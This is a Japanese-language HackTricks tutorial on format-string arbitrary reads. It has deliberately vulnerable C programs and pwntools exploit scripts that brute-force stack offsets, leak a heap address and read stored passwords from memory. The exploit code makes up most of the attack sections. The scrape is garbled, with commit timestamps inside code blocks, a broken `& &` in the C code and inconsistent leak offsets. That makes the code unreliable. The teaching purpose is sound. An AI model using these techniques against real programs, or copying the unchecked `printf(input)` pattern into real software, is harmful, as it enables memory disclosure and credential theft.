2024-05-05 23:08:22 +00:00
# フォーマット文字列 - 任意読み取りの例
2024-04-18 17:51:31 +00:00
< details >
< summary > < strong > ゼロからヒーローまでAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2024-05-05 23:08:22 +00:00
HackTricks をサポートする他の方法:
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop ) をチェックしてください!
2024-04-18 17:51:31 +00:00
* [**公式PEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を入手する
2024-05-05 23:08:22 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な [**NFTs** ](https://opensea.io/collection/the-peass-family ) のコレクションを見つける
* **💬 [Discordグループ ](https://discord.gg/hRep4RUj7f )** に参加するか、[telegramグループ ](https://t.me/peass ) に参加するか、**Twitter** 🐦 で ** @hacktricks \_live** をフォローする
* **ハッキングテクニックを共有するために、PRを** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) と [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) のGitHubリポジトリに提出する
2024-04-18 17:51:31 +00:00
< / details >
2024-05-05 23:08:22 +00:00
## バイナリの読み取り開始
### コード
```c
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
コンパイル方法:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### 攻撃
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
* **オフセットは11** です。いくつかのAを設定し、ループでオフセットを0から50まで試行した結果、オフセット11で追加の5文字( 今回はパイプ`|` )を使用すると、完全なアドレスを制御できることがわかりました。
* 私は**`%11$p` **を使用し、アドレスがすべて0x4141414141414141であることを確認しました。
* **フォーマット文字列ペイロードはアドレスの前に配置**されます。なぜなら**printfはヌルバイトで読み取りを停止**するため、アドレスを送信してからフォーマット文字列を送信すると、printfはフォーマット文字列に到達することができません。
* 選択したアドレスは0x00400000です。これはバイナリの開始地点であり( PIEなし) 、そのため選択しました。
< figure > < img src = "broken-reference" alt = "" width = "477" > < figcaption > < / figcaption > < / figure >
## パスワードを読む
2024-04-18 17:51:31 +00:00
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 & & strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
コンパイル方法:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### スタックから読み取る
2024-05-05 23:08:22 +00:00
**`stack_password` ** はローカル変数であるため、スタックに格納されます。そのため、単に printf を悪用してスタックの内容を表示すれば十分です。これは、スタックからパスワードを漏洩させるために最初の100個の位置にBFを悪用するエクスプロイトです。
2024-04-18 17:51:31 +00:00
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
2024-05-05 23:08:22 +00:00
画像では、スタックからパスワードを`10番目` の位置から漏洩させることができることがわかります:
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
< figure > < img src = "../../.gitbook/assets/image (1234).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
< figure > < img src = "../../.gitbook/assets/image (1233).png" alt = "" width = "338" > < figcaption > < / figcaption > < / figure >
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
### データの読み取り
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
同じエクスプロイトを実行するが、`%s` の代わりに`%p` を使用すると、スタックからヒープアドレスを`%25$p` で漏洩させることができます。さらに、プロセス内のメモリ内のパスワードの位置と漏洩したアドレス(`0xaaaab7030894` )を比較することで、アドレスの差を取得できます:
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
< figure > < img src = "broken-reference" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
これで、スタック内の1つのアドレスを制御して、2番目のフォーマット文字列の脆弱性からアクセスする方法を見つける時が来ました:
```python
from pwn import *
2024-04-18 17:51:31 +00:00
2024-05-05 23:08:22 +00:00
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
2024-04-18 17:51:31 +00:00
```
2024-05-05 23:08:22 +00:00
そして、使用されたパッチングで**try 14**でアドレスを制御できることがわかります。
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
2024-04-18 17:51:31 +00:00
```
2024-05-05 23:08:22 +00:00
< figure > < img src = "broken-reference" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2024-04-18 17:51:31 +00:00
< details >
2024-05-05 23:08:22 +00:00
< summary > < strong > ゼロからヒーローまでのAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2024-04-18 17:51:31 +00:00
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )をチェックしてください!
2024-05-05 23:08:22 +00:00
* [**公式PEASS& HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs** ](https://opensea.io/collection/the-peass-family )コレクションを見る
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に参加するか、[**telegramグループ** ](https://t.me/peass )に参加するか、**Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) **および** [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) **のGitHubリポジトリに提出する** 。
2024-04-18 17:51:31 +00:00
< / details >